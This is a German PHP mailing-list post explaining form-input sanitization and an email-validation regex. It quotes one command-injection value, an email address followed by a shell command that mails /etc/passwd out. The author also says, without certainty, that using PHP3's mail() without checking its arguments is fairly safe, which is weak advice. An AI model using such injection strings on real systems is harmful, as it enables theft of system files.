Mailinglisten-Archive |
>Es wurde mir empfohlen, bevor man ein Formular abgesendet, bestimmte
Zeichen
>zu maskieren oder ganz zu entfernrn, da sie unter Umstaenden Hackern
Zutritt
>zum System erlauben koennten. Nun bin ich jedoch damit etwas unerfahren.
>Frage:
>- Ist das Unfug und wenn nein, um welche Gefahr handet es sich konkret ?
> - Falls es notwedig ist, um welche Zeichen handelt es sich dabei ?
Jemand kann da sicher definitiveres dazu sagen, ich denke (keine Gewißheit),
daß es ziemlich sicher ist, die mail()-Funktion von PHP3 ohne Überprüfung
der Argumente zu benutzen. Klassische Backdoors wie "tobias_(at)_dnet.it;mail
tobias_(at)_dnet.it</etc/passwd;" als Empfängeradresse funktionieren jedenfalls
nicht.
>Meine Erfahrungen mit Regulaeren Ausdruecken sind noch bescheiden.
>Bitte:
>> eregi("[a-z0-9_\.\-]*_(at)_[a-z0-9_\.\-]*", $email)
>Kannst Du dazu mal was posten, irgendwie ist das fuer mich nicht
>ohne weiteres zu durchschauen...
Die Expression testet auf:
- beliebig viele Zeichen (*)aus der in Klammern spezifizierten Menge (alle
Buchstaben, alle Ziffern, Unterstrich, Punkt (escaped, da der Punkt sonst
"ein beliebiges Zeichen" bedeutet), Bindestrich (escaped, da er sonst einen
Von-Bis-Asudruck bezeichnet)) vor dem "_(at)_".
- dasselbe nach dem "_(at)_". Es sollte also zumindest noch auf den Punkt im
Domain-Namen geprüft werden.
Ganz gute Kurz-Referenz: man egrep. Ausführlicher: "Mastering Regular
Expression", O'Reilly, siehe htmlwizard.net.
In der nächsten Sonntag erscheinenden Ausgabe von phpTidbits
<http://www.htmlwizard.net/phpTidbits/> geht's um solche (nützliche)
reguläre Expressionen.
Mit freundlichen Grüßen,
Tobias Ratschiller
php::bar PHP Wiki - Listenarchive